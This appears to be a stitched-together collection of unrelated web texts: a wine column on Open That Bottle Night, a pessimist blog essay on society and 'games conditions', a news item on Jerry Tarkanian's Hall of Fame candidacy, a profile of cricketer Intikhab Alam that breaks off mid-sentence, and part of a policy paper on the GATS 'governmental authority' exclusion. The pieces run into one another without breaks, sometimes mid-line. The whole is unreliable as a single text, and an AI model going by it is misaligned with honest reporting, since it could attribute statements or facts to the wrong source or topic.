We decamp to the rec room, where the good wine cellar is, and try to decide what to enjoy on Open That Bottle Night. Always the last Saturday in February, it’s Feb. 28 this year.
We have signed bottles of Barolo from Aldo Conterno, who was kind enough to receive us at his winery in Monforte d’Alba in Piemonte without an appointment. Tucked away on a low shelf is a 1990 Gristina Vineyards Pinot Noir from Long Island signed by several people, including the tasting room server, because the winery’s owner at that time had ordered its winemaker never to make it again and we thought it was delicious. We have a 1999 Peter Jakob Kühn Pur Pur Rotwein Rheingau Trocken that we purchased at the winery on our first visit to Germany.
We’re heavy on French stuff and wines from California. Among our special bottles from the Golden State are two bottles of 2005 Huber Cellars Dornfelder. The Dornfelder grape is a native of Germany, but Norman and Traudl Huber, themselves German transplants, have been growing it in the Santa Rita Hills region of Santa Barbara County with great success. One Dornfelder is a regular bottling and the other is a Charlotte’s Reserve, named for their beloved dog, who died in 2007. We had a lovely visit with Norman at their home winery in Lompoc several years ago and bought the wines intending to drink them side by side. Because I love strawberries, we also purchased a jar of Traudle’s strawberry jam, which was amazing.
There’s also among our prized bottles from California a 1996 Gallo of Sonoma Northern Sonoma Cabernet Sauvignon that winemaker Gina Gallo, the granddaughter of Julio and grand-niece of Ernest, gave us when we met her at an OTBN for vintners in Napa. The Wall Street Journal’s Advertising Department threw that bash in 2000. Gallo signed the bottle this way: “Dottie & John,
Thanks for passing on your passion and love for wine to all!! Cheers…Gina Gallo.”
These wines are dear, bound to us by wonderful memories. That makes them perfect candidates for Open That Bottle Night, our invention and excuse to open those bottles that have always seemed too special to open. This year we’re celebrating at a sweet and welcoming neighborhood BYOB restaurant, A Café, 973 Columbus Avenue between 107th and 108th streets in Manhattan. John and I will be there from 7 until around 9:15 for dinner, sharing our wine and stories. The restaurant’s prix fixe dinner is $25 plus tip and tax. When you call A Café for reservations, 212-222-2033, tell Al you’re reserving for Open That Bottle Night or email him at reservations@acafeny.com. He’s also the guy who will take your payment.
As I write this, looking at the snow on the deck of our country cabin, I’m happy about our decision to open a 1997 Pugliese Vineyards Sangiovese from Cutchogue in Long Island’s North Fork. In the early 1990s, years before we began writing about wine, we’d visit the North Fork in the summertime, with the girls. Like Napa and Sonoma in the 1970s, you could drop in and more likely than not find winemakers pouring their wines. There was no need for people directing traffic and boorish people were few.
One day we turned into a driveway off Main Road, saw some ducks that would help entertain the girls, and entered the modest building that housed the winery. Ralph Pugliese Sr., whose big heart shone through his broad smile and soft eyes, welcomed us.
He’d been a labor official with a plasterers’ union and had lived in Brooklyn before moving to the North Fork, he told us. His father had taught him to make wine from grapes that he bought at a farmer’s market in Brooklyn. Ralph’s wife, Patricia, who co-owned the family winery they founded in 1980, hand- painted the bottles of their fabulous Blanc de Blanc with fingernail polish. Even though she could speak knowledgably about the wines, she had never tasted them, she told us. When she was a young woman she and her sister had had too much to drink one night and she’d never had a drop since.
Ralph, appreciating that we were interested in the pioneering nature of what he was doing, told us on one visit that he had made a Zinfandel. He’d ordered the vines from California and trucked in soil that was more suitable for it and had made Zinfandel. It was still in the barrel and he offered us a taste of the rich and peppery wine. Months later, we returned and purchased a bottle, which we opened in 2006 for OTBN 7. He’d made 60 cases of it. While it lacked the power of youth then, it was filled with fruit, earth, pepper and a wisp of cinnamon. Yummy.
When we told Mrs. Pugliese that we had finally opened it, she said, “Oh, good Lord. We haven’t had a bottle of that in years.” She said that when people learned that a Zinfandel had been made in the North Fork, it quickly sold out. She added, “I’m so glad that you enjoyed it.” Ralph Sr. died in 2011. One of his daughters-in-law, Lorelle, told me a few days ago that they still grow some Zinfandel, but blend it into other wines.
This brings us to Ralph Sr.’s Sangiovese. After telling us about the lengths to which he went to grow and make Zinfandel, he told us that a bolt of lightening had hit a row of Merlot and that he had interpreted that as a sign that he should grow a grape type from his native Italy: Sangiovese.
And so he did. Pugliese Vineyard was then, and is now, Lorelle confirmed, the only maker of Sangiovese on the North Fork.
Dorothy J. Gaiter conceived and wrote The Wall Street Journal's wine column, "Tastings," from 1998 to 2010 with her husband, John Brecher. She has been tasting and studying wine since 1973. She has had a distinguished career in journalism as a reporter, editor, columnist, and editorial writer at The Miami Herald and The New York Times, as well as at The Journal.One way to cope with military or cultural defeat is assimilation. One cannot fault people who do that. It’s a hard thing to do but it contains within itself the hope for a better future for oneself and one’s family, for those who believe in such things. Obviously it’s not the only solution, but it is one solution.
Likewise, people who know that the societies they live in are profoundly wrong also raise their children to adapt those wrong societies, so that they may experience material success. Once again we are faced with the same dilemma, but the dilemma is in all cases caused by procreation. Without the fear that one’s child will be unhappy, there would be no particular drive to assimilate.
This perfect adaptation to society’s norms–in other words, to what is called “healthy normality”–carries with it the danger that such a person can be used for practically any purpose. It is not a loss of autonomy that occurs here, because this autonomy never existed, but a switching of values, which in themselves are of no importance anyway for the person in question as long as his whole value system is dominated by the principle of obedience. He has never gone beyond the stage of idealizing his parents with their demands for unquestioning obedience; this idealization can easily be transferred to a Fuhrer or to an ideology.
Alice Miller
Beyond that, the issue is one of pragmatism. Even staunch opponents of our social institutions need money to live, and the most accessible way to make money is to submit to those institutions. It is humiliating, and it undermines our position, but we have little choice.
There is a tremendous pressure for rebels to conform to the ways in which people normally own and control things and each other, because they need to use the tools of the oppressors in order to have the means to be heard, to assemble, and so on. Even if we just take a simple example such as a protest, the protesters must use the streets and sidewalks owned by government, and therefore be subject to the means of enforcement of that ownership, cops. So protests are useless, because it’s virtually impossible to defend against cops unless you have a vast numerical advantage and a willingness to fight. But this is also true of buildings to operate in, which require rent and are controlled by local governments, computers which can be reported and seized by cops, and so on.
This may not necessarily be a problem for those of us who believe that the law is basically good, that cops are just doing their job, and that we live in a just society. As a pessimist, of course, I think that’s bullshit. Pessimists believe there is something profoundly wrong about human society, even though they may disagree on what that is. Wanting to change or reform society does not solve the fundamental problem and only serves to reinforce the unjust foundations of society. It is the very fact of living in society that makes people stupid and evil.
One obvious cause of this is games conditions. Games conditions make people stupid and evil because it provides a strong incentive for people to follow impersonal, non-human values (whether it be the sole pursuit of profit, the power to implement your preferences on the rest of society, the middle class ideal, racial domination, holiness, “saving the world,” or whatever else people play for). Everywhere in our society, and all over the news, we see example after example of games making people stupid and evil, and yet we keep saying it’s just a bad apple, over and over.
One thing people can say is, let’s build a society without games conditions, or at least a society where games conditions do not affect one’s livelihood. And I agree that this is an extremely, crucially worthy goal. But at the same time, I have to concede that a society without games conditions would clearly prove to us all that human lives are profoundly pointless. And while I can’t argue against the spread of truth, I doubt most people would like that. Eventually games conditions would re-emerge in some new dogmatic form, and we’d probably be back to killing each other.
So there are few things that annoy me more than the liberal insistence that we need to level the playing field and ensure that everyone has a chance to succeed. The success of one person in our societies means to ensure the failure of ten others, and the propagation of evil both on one’s fellow Westerners and on a global scale. Why are liberals cheering for gay people and women to join the US Army, when they know very well that the US Army is fighting for American elite and corporate interests, not for American citizens’ interests? Why are liberals cheering for more women to become CEOs of sociopathic corporations which rob, cheat and kill innocents? Because, like everyone else, they have been made stupid and evil by the game of gender interests or racial interests, just like capitalists have been made stupid and evil by the game of profits or control. There is no one stupider than one who honestly and wholeheartedly believes he is not playing any game. This is self-delusion at its most profound.
The solution is not to pretend to not be under any games conditions. The solution is to realize that we are subject to them, and to clearly differentiate our own interests from those of the games we are acting under. As a worker, I am interested in following corporate rules and serving corporate interests, even when they lead me to defraud people or lie to people. That’s how I play the game. But swallowing my own lies while believing I am a freethinker would just be pathetic, and becoming an activist for corporations would be braindead. And yet this is the kind of thing people do. It makes about as much sense as becoming an activist for putting Chess in the Olympics on the sole basis that you’ve once played a game of Chess and thus had to follow the rules (a better reason to become an activist for Chess would be honestly believing Chess is actually a great game, and sure there are people stupid enough to believe that corporatism or religion are great games).
It is possible to free one’s mind from the strictures of games conditions and penetrate to the truth of the human condition. It is also extremely difficult. I feel like I’ve only just started to really do this. And I understand why people don’t want to do this: having just started I am already labeled a crackpot by most people, even a lot of radicals, and I expect it’s only going to get worse. Such is life… if it bothered me, I wouldn’t be doing this blog.Tarkanian a finalist for induction into basketball hall of fame
Sam Morris / Las Vegas Sun
The Rebel Room Is it time for Rebels fans to panic? Following an embarrassing road loss, its fourth in a row, Las Vegas Sun reporters Ray Brewer and Taylor Bern discuss the state of the Rebels as they prepare to host rival San Diego State on Saturday.
Former UNLV basketball coach Jerry Tarkanian is one of 12 finalists to be considered for induction this year into the Naismith Memorial Hall of Fame.
Annoucement of the finalists was made Friday in Houston during NBA All-Star Weekend activities.
“We are proud to share an incredible group of finalists for the Class of 2013 – a distinct list of coaches and players who excelled at many levels of basketball,” said Jerry Colangelo, chairman of the hall’s board of governors. “It will be a difficult decision for the Honors Committee to select the final class members from this prestigious group of individuals, each of whom has given so much to the game.”
The class of 2013 will be unveiled during the NCAA Final Four in April.
This year’s list includes six first-time finalists: five-time NBA all-star Tim Hardaway, three-time National Coach of the Year Sylvia Hatchell, two-time NBA Championship coach Tom Heinsohn, nine-time NBA all-star Gary Payton, five-time WNBA all-star Dawn Staley and six-time NBA all-star Mitch Richmond. Previous finalists included again this year for consideration are four-time NBA all-star Maurice Cheeks, four-time NBA all-star Spencer Haywood, four-time NBA all-star Bernard King, five-time NCAA Final Four coach Guy Lewis, six-time NCAA Final Four coach Rick Pitino and Tarkanian.
Here’s what the Hall of Fame said about Tarkanian:
“Known as one of the most passionate coaches in the game of basketball, Tarkanian recorded 990 wins during his career with an 81% winning percentage that included leading the University of Nevada-Las Vegas to four NCAA Final Four appearances (1977, 1987, 1990 and 1991) and the 1990 NCAA Championship. During his career, he led three different schools to NCAA Tournament appearances (UNLV, Fresno State and Long Beach State), including 21 post season appearances, 14 NCAA tournaments, 13 Sweet Sixteen appearances, seven Elite Eights, 17 conference championships and four 30-plus win seasons. Tarkanian is a four-time National Coach of the Year (1977 Kodak; 1983 UPI; 1984, 1990 Basketball Times). At the junior college level, he still owns the highest winning percentage of all-time at.891. He has coached 44 future NBA prospects including 12 First Round draft picks. Off the court, he was the recipient of the Roy Campanella Humanitarian Award and the Dream a Dream Foundation Inspiration Award – the only basketball coach to receive the award.”No one has given more of themselves to help Pakistan achieve the No. 1 ranking in Test cricket than Intikhab Alam. He is a common thread through the last 57 of Pakistan's 64 years as a Test nation - as a player, captain, selector, a leader of the National Cricket Academy, and as a coach or manager for four stints, including today.
The Test victory at The Oval, his home ground for 13 happy years as a player for Surrey, was fit to rank with any of those Intikhab has known on the cricket pitch. "That was one of the best I've seen, the way we won that Test match. These players have shown a lot of character, and togetherness, and self-belief."
In the background, as with all of Pakistan's most memorable triumphs, lay Intikhab. On the field, he led Pakistan to their first ever Test series victory overseas. Off it, Intikhab was the only constant in Pakistan's two triumphs in ICC events: the 1992 World Cup and the 2009 World T20. His involvement with the national side, stretching back to his debut as a 17-year-old in 1959, has seen off four military rulers, eight civilian governments, and over 20 heads of the Pakistan Cricket Board, according to White on Green: Celebrating the Drama of Pakistan Cricket, the new book from Richard Heller and Peter Oborne.
"I think it's passion and love for the game. Whenever I have accepted any responsibility, I accept it as a great challenge. And I enjoy it, or else I wouldn't be doing it," Intikhab explains when we meet during Pakistan's ODI series in Ireland. A little more rotund than in his playing days, he is proudly wearing his Pakistan blazer and tie: symbols of his unstinting devotion to his country's cricket.
"I think it's a great honour for anybody, for any era, to play for Pakistan. I don't see anything better than that," he says. Administration is "a great responsibility" but the next best thing. "When you have an administration role, then you have to make a lot of sacrifices. You have to discipline yourself, at the same time you've got to discipline the boys also. So it's been a great experience for me in the various capacities that I have been in through these jobs."
"Kardar called me and said, 'Are you playing tomorrow for the School XI?' I said, 'No sir, I've not been selected.' He said, 'Oh. Then you will play for us tomorrow, for Pakistan"
And what of all that political instability? "I don't think it makes much difference, actually, because whoever comes in, naturally they're all cricket lovers, so it doesn't really matter, really. All the governments have been very supportive of sports."
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The story of Intikhab and Pakistan begins in the days after partition, when he was five. The Alam family had lived a comfortable and happy life in Shimla, in the foothills of the Himalayas. Intikhab's father was an electrical engineer.
In the panic and violence that followed Partition, Intikhab's father feared for the safety of his wife and five children. They believed they were the last Muslim family left in the city.
Intikhab and the family fled their home to hide in the house of one of his father's colleagues. A few nights later, the colleague told Intikhab's father that a mob was approaching. The Alams fled immediately to a power station.
For many years, Intikhab's father had played cricket for the Maharaja of Patiala, making copious British friends. He called one of them, a Brigadier in the British Army, with the message: "I am in trouble."
A few hours later, an army truck arrived. It took the family to Ludhiana, where they stayed with relatives. Another truck was then organised to take the family to Kalka, where they could catch a train to Lahore. They waited overnight in a tent while mobs fought around them. "You could see the bullets going through your tent," Intikhab remembers.
Intikhab Alam played for Surrey for 13 seasons Getty Images
The train departed in the early hours of the morning. "The first train was a passenger train, which was coming to Pakistan. They used to stop in the jungle, and massacre everybody. It was a wrong signal that said that the first train was a goods train, and the second was the passenger train, so this is how we got through. Very lucky. After that no train came from India. That was the last train."
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The family were refugees in Lahore for a month and a half. Then Intikhab's uncle, a superintendent of police in Karachi, arranged for the Alams to move there.
In Karachi, Intikhab and his two brothers inherited their father's love for cricket. "When I was very young I used to go and see my father play - he was a fast bowler. And so it was sort of a family tradition."
Intikhab, the middle child of the five siblings, attended Church Mission School, where he says he benefited from very good sports facilities. "I used to bowl quick in those days, when I was very young, and I used to bowl legbreak as well. So my elder brother told me, 'Well, if you want to play, there are hardly any legspinners, so why don't you just concentrate on bowling legspinners?' I took his advice. This is how I became a captain of my school XI. We won the inter-school tournament."
Intikhab's brother Aftab, his elder by four years, broke into the Karachi Public Works Department team. Aftab and the side netted with many members of the Pakistan Test side. One evening in 1958, Pakistan's captain, Abdul Kardar, attended the nets.
As was often the case, Intikhab was acting as an auxiliary net bowler. He had played a few first-class matches for the Karachi C side, but had recently suffered the disappointment of not being picked for the Combined School XI to play Pakistan.
While Intikhab was bowling in the nets, Kardar started to watch him. When Intikhab dismissed Wazir Mohammad, who had recently made 189 in a Test in the Caribbean, Kardar was impressed.
"In the panic and violence that followed partition, Intikhab's father feared for the safety of his wife and five children. They believed they were the last Muslim family left in Shimla"
"After the nets were over, Kardar called me and he asked my name and he said, 'Are you playing tomorrow for the School XI?'," Intikhab recalls. "I said, 'No sir, I've not been selected.' He said, 'Oh. Then you will play for us tomorrow, for Pakistan.' I couldn't believe it. I was over the moon.
"The next morning I arrived at the Karachi stadium and the school selector was there. He said: 'What are you doing?' I said, 'I'm not playing for you. I've come to play for the Pakistan team.' They were flabbergasted. They couldn't believe it."
Intikhab got four wickets. Soon after, he was selected for the Commander-in-Chief's XI against the West Indians in Rawalpindi. A creditable display ensured he was selected for the Pakistan Eaglets tour of England in the summer of 1959. There was just one snag. "If you were selected, you had to pay 5000 rupees for the tour expenses - a lot of money. And I couldn't ask my father to give me Rs5000."
Intikhab could find no way to raise the money. Eventually, he decided to go to Kardar himself. "I said, 'I've been selected, but I don't have the money.' He said, 'Don't worry.' He got me Rs5000 from the Ministry of Education to go on the tour. That was a very successful tour for me."
When he returned home, Intikhab was picked in the President's XI to play the Australians. He got eight wickets in the match and was then picked to make his debut against Australia in Karachi, a few weeks before turning 18. Intikhab and the team had no coaches, only a solitary team liaison officer. They were paid Rs15 a day. "The money was not the criteria. The only thing was to play for your country."
Intikhab's debut did not begin well. He was run out for a duck in the first innings. But with his first ball, Intikhab clean-bowled the Australian opener Colin McDonald. Over the next 18 years, he would add another 124 Test wickets in his 47 Tests.
For 17 Tests between 1969 and 1975, Intikhab served as captain. "My philosophy was that I needed to be very truthful to my players and explain what I wanted from them. That was very important, and they all responded exceptionally well. We were very sincere to each other, and I think that was the one reason we that we came together."
Intikhab and his Pakistan team-mates arrive in England for their 1971 tour Getty Images
Intikhab was also the central character in a seminal landmark in Pakistan cricket: the side's first ever Test series win abroad. In February 1973, Intikhab took 11 for 130 in Dunedin, the only positive result of the series. It is the performance of which he is proudest.
The following year, he led Pakistan in the Test series in England. Though all three Tests were drawn, Pakistan left having emulated Don Bradman's 1948 Invincibles by not losing a single tour match. "That was a great tour," he recalls. Intikhab believes that Pakistan were helped by having a large contingent of players in county cricket; he himself served Surrey with distinction.
In 1977, Intikhab played his final Test match and retired from international cricket soon afterwards. "I wasn't enjoying it. I think I wasn't treated well enough," he says, though he declines to name anyone responsible. Still, playing cricket was the most fun he's ever had. The only shame is that he was born rather too early to experience T20 cricket. "I would have loved it."
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Intikhab thought that his life in cricket might be over, and he might instead devote himself to his family's knitwear business in Pakistan.
A few months after his retirement from Surrey, he received a message from the chairman of the Pakistan Cricket Board, requesting that the two meet. "Like football, his idea was to have a cricket manager, rather than a coach, and give all the power to the cricket manager to look after everything. So I had a long meeting with him and they offered me a job."
"He had his own vision. He was very straightforward, very disciplined. He used to set an example for everyone. If he said something then he was the first to do it" On Imran Khan
In 1982, Intikhab became Pakistan's manager, a role that he held for the next decade, albeit not on every tour. "It clicked," he says. Most important was his relationship with the captain, Imran Khan. Intikhab did not attempt to impinge upon Imran's power. "There was never any unpleasant moment. That was very very good.
"He had his own vision. He was very straightforward, very disciplined. He used to set an example for everyone. If he said something then he was the first to do it. And the players respected that."
One memory of Intikhab and Imran together stands out - from the 1992 World Cup. "I remember before the final, he went out and he bought himself a t-shirt, and then he got a tiger on this - a printed tiger. And when I saw him going for the toss, I looked at him. I didn't say anything to him, I don't want to upset him, because I knew exactly what he was going to do. So when he went there, Ian Chappell, who was interviewing, asked, 'Why are you wearing this t-shirt?' And he said, 'I want them to play like a tiger.' So that paid off."
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Intikhab left when Imran retired, but he never really went away. He remained Pakistan cricket's great uncle on speed dial, always willing to answer any call to fill a vacant post. In between his various roles for the PCB, Intikhab even had time to make history in India. He coached Punjab - "it was just like coming home" - for two seasons, becoming the first Pakistani to coach an Indian domestic team.
Last year, at the age of 73, Intikhab was enlisted to return to Pakistan again, as manager once more. He is "a survivor so adept," writes Osman Samiuddin in The Unquiet Ones: A History of Pakistan Cricket, that "not only would he survive a nuclear holocaust, he would also emerge as the bomb maker's administrative director."
Perhaps unsurprisingly, this company man highlights stability as a reason why this Test team has succeeded where others have not in reaching No. 1. "I think to be successful on an international level you need continuity - of coaches, and the management. If you keep on changing it doesn't help. It takes time for any new coach coming in. You have to give him time to try to understand the players, they to understand the involvement, |
challenge
In his 1999 letter, the WTO Services Director states that "there is no need for a government to take any specific action to 'ring-fence' the public component." As he put it:
"The status of the public component could only ever become an issue if some measure taken by the government concerned were to be questioned by another WTO Member."
In a similar vein, the recent WTO pamphlet, entitled "GATS -- Fact and Fiction", notes that while Member Governments "attach great importance" to the governmental authority exclusion, "there has been no need for interpretation of this phrase" … because "no question has been raised by any Member" about the exclusion. As the WTO puts it63:
"The issue could only arise if a specific measure which had been challenged in dispute settlement were to be defended on the ground that it applied only to services supplied in the exercise of governmental authority and was therefore outside the scope of the GATS."
The possibility that the "public component" and public service regulation might be "questioned by another WTO Member" and defended on the basis of this exclusion is, of course, precisely the crux of the question. These answers obliquely confirm that government measures relating to public service systems are indeed exposed to the threat of international disputes under the GATS.
5. Conclusion
The GATS brings public service systems -- and their regulation -- within WTO authority.
The GATS brings many aspects of public service systems, and governments' regulation of these systems, within the sphere of WTO authority. Indeed, most government measures "affecting" services are subject to GATS rules, even, in some cases, if these measures are non-discriminatory and have little or no effect on international trade.
The narrowness of the "governmental authority" exclusion is not widely recognised.
Despite the significance of GATS coverage, there are indications that some member governments may not fully appreciate the limited scope of the "governmental authority" exclusion. Many governments may not recognize that certain aspects of public services and their regulation are already subject to those GATS obligations that apply 'across-the-board', among them most-favoured-nation treatment and transparency. Some members may also not be aware that, where they have made specific commitments, certain aspects of their public service systems and of their regulatory ability in these areas may be subject to more demanding GATS restrictions, including national treatment and market access.
Assessments of GATS coverage on public service systems are warranted
There is no evidence available to the public that WTO members have assessed the significance of the GATS on their public service systems, or on the regulatory authority of governments, at any level of jurisdiction. In light of the growing recognition of the narrowness of the "governmental authority" exclusion, some governments may consider such detailed assessments clearly warranted and long overdue. These assessments may be considered especially important as some existing GATS obligations extend beyond international trade, reaching to the heart of governments' domestic regulatory authority.64
Assessing the practical implications of existing GATS commitments pertaining to public service systems has become time-sensitive, since members are currently engaged in negotiations to broaden and deepen the agreement. Members that fail to perform such assessments run a significant risk of covering services unintentionally in this and future rounds of negotiations. They may also introduce uncertainty into any new specific commitments they make -- uncertainty that is likely to be clarified ultimately not by the member governments themselves but through dispute settlement. Moreover, in the absence of clear guidance to the contrary from member governments, it is very likely that dispute settlement panels will interpret the "governmental authority" exclusion narrowly. This could have the effect of diminishing governments' regulatory capability and undermining their existing public service systems.
Revisiting the "governmental authority" exclusion in current negotiations -- to make it effective and permanent -- is likely to be considered an urgent priority.
WTO members may wish, as an urgent priority, to revisit the "governmental authority" exclusion during ongoing GATS re-negotiations to clarify it or, if necessary, renegotiate the text to ensure that public service systems are fully, effectively and permanently excluded from the GATS.
Endnotes
1 The agreement's broad scope is reflected in many of its definitions, including the following:
Measures affecting trade in services
The GATS applies to "measures by Members affecting trade in services (Article I.1). Here
trade in services The GATS applies to "measures by Members affecting trade in services (Article I.1). Here " measure " is defined as being in the form of "a law, regulation, rule, procedure, decision, administrative action, or any other form" (Article XXVIII(a).
" is defined as being in the form of "a law, regulation, rule, procedure, decision, administrative action, or any other form" (Article XXVIII(a). Measures "affecting trade in services" include measures "in respect of … the purchase, payment or use of a service; the access to and use of, in connection with the supply of a service, services which are required by those Members to be offered to the public generally; the presence, including commercial presence, of persons of a Member for the supply of a service in the territory of another Member…" (Article XXVIII(c)).
include measures "in respect of … the purchase, payment or use of a service; the access to and use of, in connection with the supply of a service, services which are required by those Members to be offered to the public generally; the presence, including commercial presence, of persons of a Member for the supply of a service in the territory of another Member…" (Article XXVIII(c)). "[T]rade in services" is defined merely as the "supply of a service" in any of four all-inclusive modes of supply that have some international component (Article I.2).
"[S]upply of a service" is defined broadly to include "the production, distribution, marketing, sale and delivery of a service" (Article XXVIII(b))
2 The important public service sector does not rate an exclusion or exemption comparable to those provided for the maintenance of public order (Article XIV) or for national security (Article XIVbis).
3There is no differentiation in obligations in the agreement between "public" and "private" services or providers. For example, there is no "public" mode of delivery distinct from a "private" mode of delivery within the four defined "modes" (Article I:2). Similarly, "supply of a service" includes "the production, distribution, marketing, sale and delivery of a service" (Article XXVIII(b)) without reference to the nature of the entities involved. Indeed, where a distinction is made between the two, it is to ensure that they are treated in a similar manner. Hence, "monopoly supplier of a service" (Article XXVIII(h)) is defined as either "public or private" sole supplier, and "juridical person" (Article XXVIII(l); see (d)) means "any legal entity … whether privately-owned or governmentally-owned."
4 For the purpose of establishing "commercial presence" for the delivery of a service, this is defined as "the constitution, acquisition or maintenance of a juridical person" (Article XXVIII(d)(i)). "Juridical person" is, in turn, defined as "any legal entity duly constituted … whether for profit or otherwise…" (Article XXVIII(l)) In sectors where specific market-access commitments are made, Members are prohibited from taking "measures which restrict or require specific types of legal entity or joint venture through which a service supplier may supply a service" (Article XVI:2(e)).
5 The Oxford English Dictionary, 1989, (Oxford, Clarendon Press), p. 552.
6 Ibid.
7 The Canadian Oxford Dictionary, (Don Mills, Oxford University Press Canada), p. 285.
8 Webster's Encyclopedic Dictionary, 1988, (New York, Lexicon), p. 196.
9 Canadian Oxford Dictionary, (op. cit., p. 285).
10 Webster's Encyclopedic Dictionary, (op. cit., p. 196).
11 "Exchange between men of the products of nature or art; buying and selling together; trading; exchange of merchandise, esp. as conducted on a large scale between different countries or districts; including the whole of the transactions, arrangements, etc., therein involved." Oxford English Dictionary, (op. cit., p. 552).
12 Webster's Encyclopedic Dictionary, (op. cit., p. 1046).
13 Canadian Oxford Dictionary, (op. cit., p. 1538).
14 Oxford English Dictionary, (op. cit., p. 348).
15 Oxford English Dictionary, (op. cit., p. 604).
16 Canadian Oxford Dictionary, (op. cit., p. 290).
17 Webster's Encyclopedic Dictionary, (op. cit., p. 200).
18 Based on those references that do exist in WTO documents, this assessment appears to be shared by the WTO Secretariat (please refer to the text for consideration of WTO explanations).
19 Significantly, the Council for Trade in Services has highlighted the "need" for a narrow interpretation; this is considered later in the text.
20 There appears to be some confusion amongst governments about the scope of the "governmental authority" exclusion. For example, the Right Honourable Richard Caborn, MP, the UK Minister for Trade, reportedly asserted in a letter to James Plaskitt, MP, dated 30 November 2000, that "[w]e are clear that GATS does not apply to services provided by central and local governments, or to services supplied in the exercise of governmental authority" (emphasis added). Similarly, the Minister of Post-Secondary Education and Skills Training in the provincial Government of Saskatchewan, Canada, recently stated to University of Saskatchewan Professors Tim Quigley and Larry Haiven that "I am advised that the current GATS excludes public services from its scope" (emphasis added).
European Communities officials have also considered the issue at the WTO. In an April 1998 meeting of the Committee on Regional Trade Agreements, EC representatives reportedly asserted that the rules of European integration contains an exclusion, for service activities connected with the exercise of "official authority", which is -- quoting from the WTO note on the meeting -- "practically identical" to the GATS "governmental authority" exclusion. (WT/REG39/1, 24 April 1998). Six months later, an EC representative reportedly asserted that the European exclusion was -- again quoting from the WTO note -- "presumably narrower than what was in the GATS" (WT/REG39/M/4, 13 October 1998, II.1.; emphasis added in both cases). More significantly perhaps, and despite the apparent conflict, the same representative went on to suggest that the EC itself interprets the exclusion narrowly. According to the latter WTO report, the representative asserted that both the European exclusion for "official authority" and the GATS exclusion for "governmental authority" applied to "the same type of activity" and that "[t]here were very few activities covered by that exception" (emphasis added; ibid., para. 15.) Subsequently, in May 1999, the European Communities issued a Joint Communication indicating the EC exclusion was "similar" to the GATS exclusion, that it has received a "restrictive interpretation", and that in fact "there are no examples … where the [European] Court [of Justice] found that an activity would fall under the scope [of the EC treaty exclusion]." (See Section 4 of the text.)
21 The principle that exclusions are generally to be interpreted narrowly is formalized in the 1969 Vienna Convention on the Law of Treaties.
22 The report of the WTO Appellate Body in the EC Bananas case, while not definitive on the subject, also appears to support this view. In its examination of measures affecting the competitive relations between domestic and foreign services and suppliers, the AB specifically considers the "governmental authority" exclusion, stating that "[t]here is nothing at all in these provisions to suggest a limited scope of application for the GATS". (World Trade Organization, European Communities -- Regime for the Importation, Sale and Distribution of Bananas, Appellate Body Report, WT/DS27/AB/R, 9 September 1997, paras 219-220.)
The relevant excerpt is reproduced here: "219. In contrast, the Complaining Parties argue that the scope of the GATS, by its terms, is sufficiently broad to encompass Regulation 404/93 and the other related regulations as measures affecting the competitive relations between domestic and foreign services and service suppliers. This conclusion, they argue, is not affected by the fact that the same measures are also subject to scrutiny under the GATT 1994, as the two agreements are not mutually exclusive. 220. In addressing this issue, we note that Article I:1 of the GATS provides that "[t]his Agreement applies to measures by Members affecting trade in services". In our view, the use of the term "affecting" reflects the intent of the drafters to give a broad reach to the GATS. The ordinary meaning of the word "affecting" implies a measure that has "an effect on", which indicates a broad scope of application. This interpretation is further reinforced by the conclusions of previous panels that the term "affecting" in the context of Article III of the GATT is wider in scope than such terms as "regulating" or "governing". We also note that Article I:3(b) of the GATS provides that "'services' includes any service in any sector except services supplied in the exercise of governmental authority" (emphasis added), and that Article XXVIII(b) of the GATS provides that the "'supply of a service' includes the production, distribution, marketing, sale and delivery of a service". There is nothing at all in these provisions to suggest a limited scope of application for the GATS…"
It should also be noted that a similar exclusion, contained in the EC treaty, has without exception been interpreted restrictively by the European Court of Justice (see Section 4).
23 According to the WTO, the most-favoured-nation obligation "is one of the most important principles of the GATS. [It] requires Members to grant services and service suppliers of any other Member the best treatment granted to services and services suppliers of any other country…" (World Trade Organization, "Services: GATS", Training Package, op. cit., p. 13.)
GATS Article II "Most-Favoured-Nation Treatment" states: "1. With respect to any measure covered by this Agreement, each Member shall accord immediately and unconditionally to services and service suppliers of any other Member treatment no less favourable than that it accords to like services and service suppliers of any other country."
24 The GATS provisions on Transparency (Article III) require governments to publish "all relevant measures … which … affect the operation of the Agreement".
25 It should be noted that GATS Domestic Regulation (Article VI) obligations are acknowledged to have a potentially broad impact and could have a significant effect on the regulation of public service systems. These controversial provisions apply to non-discriminatory regulatory measures; that is, they apply to those measures that treat local and foreign services -- and local and foreign service providers -- equally. The provisions thus apply to those measures that do not violate GATS non-discrimination rules -- Articles II (MFN) and XVII (National Treatment). The Domestic Regulation provisions of the GATS are currently under active negotiation. Article VI(4) states:
"With a view to ensuring that measures relating to qualification requirements and procedures, technical standards and licensing requirements do not constitute unnecessary barriers to trade in services, the Council for Trade in Services shall, through appropriate bodies it may establish, develop any necessary disciplines. Such disciplines shall aim to ensure that such requirements are, inter alia: (a) based on objective and transparent criteria, such as competence and the ability to supply the services; (b) not more burdensome than necessary to ensure the quality of the services; (c) in the case of licensing procedures, not in themselves a restriction on the supply of a service."
The scope of these intended "disciplines" is very broad and at least some of the provisions are intended in future to apply 'across-the-board' to all services even where specific commitments have not been made.
26 This core obligation commits governments to extend the best treatment that is given domestically to its treaty partners. The national treatment obligation is broader than generally recognized, extending in the GATS to measures that are capable of altering the conditions of competition in favour of domestic services and service providers. (For a critical discussion of the principles involved, drawn from recent GATS cases, see Sinclair, Scott (2000) "GATS: How the World Trade Organization's new'services' negotiations threaten democracy", Canadian Centre for Policy Alternatives, pp. 41-47.)
27 The GATS Market Access provisions prohibit, in specified area, numerical limitations on service suppliers, transactions and operations in the form of quotas, monopolies, exclusive service suppliers or economic needs tests. In specified sectors, it also prohibits "measures which restrict or require specific types of legal entity or joint venture through which a service supplier may supply a service". This requirement may conflict with longstanding practices in the health and social service sectors in a number of countries which restrict funding, for example, to non-profit societies or to community-based service providers (See Sinclair, 2000, op. cit., p. 66-67.)
28 "The original proposal to make it clear that governmental services were not covered [in the Uruguay Round GATS] came from the EU and it was not controversial." Hartridge, David, Conference on GATS 2000 Negotiations, European Services Forum, Brussels, 27 November 2000, p. 2.
29 European Communities, Joint Communication from the Parties, Committee on Regional Trade Agreements, WT/REG50/2/Add.3; WT/REG51/2/Add.3; WT/REG52/2/Add.3 19 May 1999, Item 3, para. 3.
30 Ibid., para. 4.
31 Ibid., para 5.
32 Ibid., para. 6.
